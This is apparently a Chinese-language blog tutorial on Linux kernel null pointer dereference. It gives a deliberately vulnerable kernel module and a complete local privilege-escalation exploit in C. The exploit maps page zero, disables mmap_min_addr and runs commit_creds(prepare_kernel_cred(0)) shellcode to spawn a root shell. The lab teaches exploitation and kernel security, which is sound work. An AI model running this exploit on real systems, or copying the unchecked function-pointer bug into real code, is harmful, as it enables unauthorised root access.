Linux Kernel Pwn Ⅱ:Null Pointer Dereference

简单介绍Null Pointer Dereference这个古老的漏洞

空指针解引用类漏洞是比较早的一类漏洞,问题在于某些指针未经初始化验证直接使用,导致执行0地址处指令

若是在用户程序中申请0地址处执行,赋予可执行权限,并写入shellcode,则劫持执行流

写一个demo来说明这个漏洞

Vul LKM

KVM模块null_pointer.c内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int null_pointer_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr(); // 未经验证直接调用
return len;
}

static int __init null_pointer_init(void)
{
printk(KERN_ALERT "null_pointer driver init!\n");
create_proc_entry("null_pointer", 0666, 0)->write_proc = null_pointer_write;
return 0;
}

static void __exit null_pointer_exit(void)
{
printk(KERN_ALERT "null_pointer driver exit\n");
}

module_init(null_pointer_init);
module_exit(null_pointer_exit);

Exploit

pwn.c文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\x48\xc7\xc7\x0\x0\x0\x0\x48\xc7\xc0\x40\x17\x8\x81\xff\xd0\x48\x89\xc7\x48\xc7\xc0\x50\x15\x8\x81\xff\xd0\xc3"; // shellcode

int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/null_pointer", O_WRONLY);
puts("Run shellcode...");
write(fd, "Mask", 4);
puts("Get root.");
system("/bin/sh");
return 0;
}

注意这里需要在rootfs中的init文件加这一句,取消mmap_min_addr的限制,否则无法在用户程序中申请到0地址

1
sysctl -w vm.mmap_min_addr="0"

编译后打包rootfs.cpio,运行起来,dbg附加上去,在bug1_write函数下断点,可以看到在LKM执行my_funptr()时,由于函数指针未初始化,因而执行0地址处的指令

1580049867176.png

由于在pwn.c中使用mmapmemcpy往此地址写入了shellcode,所以就是执行shellcode

1580050098336.png

这段shellcode的意思是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mov rdi,0
mov rax,0xffffffff81081740
call rax
mov rdi,rax
mov rax,0xffffffff81081550
call rax
ret

/ # grep commit_creds /proc/kallsyms
ffffffff81081550 T commit_creds
......
/ # grep prepare_kernel_cred /proc/kallsyms
ffffffff81081740 T prepare_kernel_cred
......

也就是执行commit_creds(prepare_kernel_cred(0))后返回,然后在pwn.c中执行了system("/bin/sh"),就相当于以root权限起了一个shell

用一个普通用户尝试,在rootfs中的init文件加入setsid cttyhack setuidgid 1000 sh即可以非roo启动

1580038752682.png

Attachment

NULL_Pointer_Dereference:链接: https://pan.baidu.com/s/1nH3CCL9oSIHg3PnF8h_6oA 提取码: dztb

Reference

BruceFan ‘s Blog


  kernelpwn

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×